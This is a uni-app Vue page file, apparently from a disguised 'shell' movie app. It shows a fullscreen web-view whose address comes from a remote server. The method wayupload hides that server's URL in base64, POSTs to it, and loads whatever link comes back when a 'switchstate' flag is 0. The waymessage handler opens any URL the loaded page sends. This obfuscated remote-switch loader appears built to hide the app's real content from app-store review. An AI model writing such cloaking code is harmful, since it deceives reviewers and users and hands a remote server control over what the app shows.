movie-uni-apk-majia/webandhref/pages/web-view/web-view.vue

<template>
	<view class="web-view-container">
		<view class="bg" :style="{'height':systemInfo.statusBarHeight +'px'}"></view>
		<view class="webBge" v-if="boolShow == 1">
			<view class="webBge_box">
				<view class="one">网络错误</view>
				<view class="two">请检查网络链接后重试</view>
				<view class="three" @click="waynetwork">重试</view>
			</view>
		</view>
		<web-view ref="iframeRef" class="web-view" :webview-styles="webviewStyles" :fullscreen="true" :src="URLE"
			frameborder="0" allowfullscreen="true" allow="autoplay" @message="waymessage" v-if="boolShow == 2"></web-view>
	</view>
</template>

<script> 
	var wv;
	export default {
		data() {
			return {
				URLE: "",
				headerSy: 0,
				pageLoaded: false,
				webviewStyles: {
					progress: {
						color: '#FF3333',
					}
				},
				boolShow:0 , // 2显示 ， 0隐藏
			};
		},
		computed: {
			systemInfo() {
				return uni.getSystemInfoSync();
			},
		},
		onLoad() {
			this.waygetNetworkType()
		},
		onUnload() {
			// #ifdef APP-PLUS
			// ios退出应用方式，下面有写
			plus.runtime.quit(); // 强制退出应用.Android
			// #endif
		},

		methods: {
			// 点击刷新
			waynetwork(){
				uni.showLoading({
					title: '加载中',
					mask:true
				});
				this.waygetNetworkType()
			},
			// 判断网络状态
			waygetNetworkType(){
				uni.getNetworkType({
					success: (res) =>{
						console.log('res.networkType',res.networkType)
						if (res.networkType != 'none') {
							console.log('res.networkType',res.networkType)
							this.wayupload()
							this.boolShow = 2
							this.wayWeb()
						}else{
							this.boolShow = 1
						}
						setTimeout(()=>{
							uni.hideLoading();
						},3000)
					}
				});
			},
			// 设置web-view的高度
			wayWeb(){
				let height = 0; //定义动态的高度变量
				let statusbar = 0; // 动态状态栏高度
				uni.getSystemInfo({ // 获取当前设备的具体信息
					success: (sysinfo) => {
						statusbar = sysinfo.statusBarHeight;
						height = sysinfo.windowHeight;
					}
				});
				let currentWebview = this.$scope.$getAppWebview(); //获取当前web-view
				setTimeout(function() {
					var wv = currentWebview.children()[0];
					wv.setStyle({ //设置web-view距离顶部的距离以及自己的高度，单位为px
						top: statusbar, //此处是距离顶部的高度，应该是你页面的头部
						height: height - statusbar, //webview的高度
					})
				}, 200); //如页面初始化调用需要写延迟
			},
			waymessage(e) {
				if (e.detail.data[0].action == 'openBrowser') {
					plus.runtime.openURL(e.detail.data[0].params);
				}
			},
			wayupload() {
				let U = atob('aHR0cHM6Ly93d3cubHVqaXRlYS5jb20vTHZjaGEvbWlhb3ZpZGVv')
				uni.request({
					url: U,
					method: 'POST',
					header: {
						'content-type': 'application/x-www-form-urlencoded'
					},
					data: { 
						pra: ''
					},
					success: (res) => { 
						let data = res.data
						if (data.data[0].switchstate == 0) {
							this.URLE = data.data[0].linkinfos
						}
					},
					fail: function(err) {
						// 请求失败时的处理逻辑
					}
				});
			}
		}
	}
</script>

<style>
	page {
		background-color: #000000;
	}

	.bg {
		background-color: #000000;
	}
	.webBge_box{
		width: 60%;
		height: 300rpx;
		color: #fff;
		background-color: #222222;
		text-align: center;
		padding: 50rpx;
	}
	.webBge_box .one{
		font-size: 30rpx;
		color: #fff;
	}
	.webBge_box .two{
		font-size: 23rpx;
		color: #FF3333;
		margin-top: 20rpx;
	}
	.webBge_box .three{
		width: 100%;
		line-height: 80rpx;
		color: #ffffff;
		border-radius: 10rpx;
		background-color: #888888;
		margin-top: 100rpx;
	}
	.webBge{ 
		width: 100vw;
		height: 100vh;
		background-color: #4a4a4a;
		color: #fff;
		position: absolute;
		left: 0;
		top: 0;
		display: flex;
		align-items: center;
		justify-content: center;
		
	}

	.loading-mask {
		position: fixed;
		top: 0;
		left: 0;
		right: 0;
		bottom: 0;
		background-color: red;
		z-index: 9999;
	}

	/* web-view 容器样式 */
	.web-view-container {
		position: relative;
		height: 100vh;
		width: 100%;
		background-color: #000;
		z-index: 999999;
	}

	/* 各平台web-view特殊处理 */
	/* App端 */
	:deep uni-web-view .web-view-content {
		background-color: #000;
	}
</style>